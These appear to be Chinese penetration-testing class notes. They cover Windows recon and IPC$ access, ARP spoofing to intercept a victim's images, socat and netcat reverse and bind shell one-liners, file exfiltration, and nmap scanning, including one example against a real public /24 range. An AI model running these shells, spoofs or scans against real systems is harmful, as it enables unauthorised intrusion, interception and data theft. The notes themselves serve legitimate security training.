cmd手动搜集命令
ipconfig /all #查看网卡信息
systeminfo | findstr "OS" #查看系统版本信息
wmic product get name,version #查看安装软件的版本和路径
systeminfo | findstr "KB" = wmic qfe list #查看系统补丁
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntivirusProduct Get displayname /format:list #查看系统安装的杀软
net share = wmic share #查看共享目录
net use
net user
net localgroup administrators
netstat -ano
for /L %i in (100,1,254) do @ping -w 1 -n 1 192.168.0.%i | findstr “TTL” #ping探测(范围探测)
IPC$管道通信
IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者甚至可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。
net use \\192.168.48.138 #IPC连接192.168.48.138
net use \\192.168.48.129 "Aa123456" /user:administrator #密码连接
net use \\192.168.48.138 /del #关闭与192.168.48.138的IPC连接
C:\Users\NL\Desktop>copy \\192.168.48.129\C$\Windows\system32\cmd.exe test.exe #复制远程主机文件(修改路径方向顺序可以把主机文件复制到远程主机中)
net time \\192.168.48.138 #查看对方系统时间
net use Z: \\192.168.0.100\c$ 挂载对方的C盘目录
net use $ip /del 断开与对方的连接
net sessions #查看连接到本地的IPC
net sessions /del 断开连接到本地的所有IPC
老师net use 和net sessions 不一样吗
用administrator 后命令成功,但是本地显示挂载的好像不是C盘
要 下午 07:26:14
一个是主动连接的一方用的
要 下午 07:26:25
一个是被连接的用的
二层发现
二层发现
二层主机发现指:利用OSI中链路层中的协议进行主机发现。一般使用ARP协议。(局域网中通信使用ARP协议,利用MAC地址作为对应的识别地址)
优点
①速度快
②可靠性高
缺点
无法扫描经过路由的主机(无法跨网段进行扫描)
Arping
arping 192.168.48.1
Netdiscover
netdiscover -r 192.168.0.0/16 -c 2
nbtscan
nbtscan -r 192.168.48.0/24
ARP攻击
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞。攻击者只要持续不断的发出伪造的ARP响应包就能更改主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。
ARP攻击主要是存在于局域网网络中,无法对外网进行攻击。
Kali:arpspoof
arp监听
apt-get install dsniff
apt-get install driftnet
对230.128 说我是230.2 (网关)
arpspoof -i eth0 -t 192.168.48.138 -r 192.168.48.2 #ARP断网
echo "1" > /proc/sys/net/ipv4/ip_forward #开启转发功能
driftnet -i eth0 -a -d /root/Desktop/TEST #下载图片到桌面下的TEST目录
arpspoof -i eth0 -t 192.168.48.138 -r 192.168.48.2 #ARP欺骗
driftnet #driftnet是一款简单而使用的图片捕获工具,可以很方便的在网络数据包中抓取图片
-b 捕获到新的图片时发出嘟嘟声
-i interface 选择监听接口
-f file 读取一个指定pcap数据包中的图片
-p 不让所监听的接口使用混杂模式
-a 后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
-m number 指定保存图片数的数目
-d directory 指定保存图片的路径
-x prefix 指定保存图片的前缀名
ettercap #ettercap是一款强大的嗅探工具
三层发现
三层主机发现指:利用OSI中网络中的协议进行主机发现。一般使用ICMP协议
优点
①可以发现远程主机 经过路由的主机
②速度相对四层较快
缺点
①经常被防火墙过滤
②速度相比二层发现慢
ping
fping
Kali linux下自带工具fping可以进行对应的三层主机发现。可以针对多个主机同时进行主机发现
fping -g 192.168.48.0/24 | grep alive
hping3
Kali linux 自带工具hping3对目标进行三层主机发现。特点:发送自定义ICMP数据包
hping3 -c 2 --icmp 192.168.48.1
pinginfoview
Socat 多功能网络工具
监听
-dd:通过-d -d 显示调试信息
stdout:将版本和功能信息打印到stdout,然后退出
socat (-dd) tcp4-listen:6666 stdout #服务端打开接口监听
socat - tcp4:192.168.48.128(服务端地址):6666 #客户端连接
正/反向弹Shell
正向弹shell
服务端 socat tcp4-listen:5555 exec:/bin/bash
客户端 socat - TCP4:192.168.48.128:5555
反向弹shell
服务端 socat -dd tcp4-listen:4444 stdout 监听shell反弹
客户端 socat tcp4:ip:port exec:/bin/bash 反弹shell
传输文件
socat tcp4-listen:5555 file:test.txt #服务端发送文件
socat tcp4:192.168.48.128:5555 file:123.txt,creat #客户端接收文件
NC(netcat)
常用参数
-c | -e: 执行命令或者程序,常用于反弹shell
-l:使用监听模式
-p:设定端口
-z:使用0输入输出,常用于端口开放检测,(连上立即断开)
-v -vv: 显示执行过程详细信息 / 更详细的信息
-n:仅显示数字的ip地址,不显示DNS信息
创建监听
nc -lp 指定端口号 #监听端口
nc -lvvp 指定端口号 #监听端口并显示详细的信息
nc -lnvp 指定端口号 #监听端口并显示详细的信息(仅显示数字的ip地址)
nc $ip port #客户端连接
端口扫描
nc -vz IP 端口号[单个端口,端口列表(80-1024)]
nc -vz 192.168.48.129 3389
nc -vz -w2 192.168.48.129 1-100 //扫描 192.168.48.129 1-100号端口
编码格式
linux中默认的编码格式:utf8 占两个字符
windows中默认的编码格式:gbk 占三个字符
windows命令行切换utf8:chcp 65001
windows命令行切换gbk:chcp 936
lsof -i:port 查看指定端口开放情况
netstat -lutpn 查看端口开放情况
反/正向弹shell
正向连接:指服务器主动反弹shell
nc -lvvp port -e /bin/bash #服务端打开端口,发送shell
nc -v ip port #客户端连接
反向连接:指客户端主动反弹shell
nc -lvvp 4444 #服务端开启端口监听
nc ip port -e cmd.exe #客户端反弹shell
linux会话提升(不是提权):
python -c "import pty;pty.spawn('/bin/bash')"
文件传输
正向传输
nc -lvvp port < 1.txt #服务器发送
nc ip port > 1.txt #客户端接收
反向传输
nc -lvvp port > 2.txt
nc ip port < 1.txt
正\反向:把文件送进去还是取出来
cmd乱码:chcp 65001
四层发现
四层发现
四层发现指利用OSI中的传输层协议进行主机发现,一般使用TCP、UDP探测。
优点
①可以探测远程主机
②比三层发现更为可靠
缺点
花费时间长
nmap
1-存活主机
2-端口扫描
3-漏洞扫描
4-操作系统
nmap扫描结果的三种状态
open(开放)
closed(关闭)
filtered(不确定是否开放)
nmap参数
-spoof-mac 0 #Mac地址欺骗 创建虚拟mac,随机化mac地址
-S 源IP地址 伪造IP,或指定源IP
-e 选择网口 选择发送和接收数据的网口
-F 快速扫描 Nmap-service文件中默认扫描减到100个端口
-p 确定端口范围 选择扫描端口
-p- 全端口扫描 | -p0-65535|-p100-1000 | -p 80,445,3389
-v 冗余信息 表示显示冗余信息,在扫描过程中显示扫描细节,从而让用户了解当前的扫描状态
-T<0~5> 定时 可以加快或者减慢扫描速度,有六个级别,级别越高速度越快,也越容易被WAF或者IDS发现
-O: 操作系统的判断
-A 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)
-Pn:跳过主机存活判断,默认判断存活(推荐)
-sP:存活探测(Ping扫描)
-sS:SYN扫描(隐匿) SYN 扫描,半连接,受到syn/ack响应后意味着端口开放,收到rst包意味着端口关闭。
-sV:探测打开的端口以确定服务/版本(-sSV= -sS -sV)
探测实例
nmap -T4 -A -v 192.168.48.129 #全探测
nmap -p 80 192.168.48.1 -sSV
nmap -p- 192.168.48.1 -sSV
nmap -p5000-6000 192.168.48.1 -sSV
nmap -sV -O -T4 192.168.48.129
nmap -A -v www.baidu.com/24
nmap -sSV -Pn --script=vuln -T 4 192.168.48.129 //vuln-->漏洞探测
--script=模糊测试的脚本简写的名称(脚本名称)
-sC:相当于--script=defaults
-oN / > : 扫描结果输出为文件
masscan
参数
--rate= 设置发包速率
--banners 探测开放的指纹信息
-p 端口号
-sS syn扫描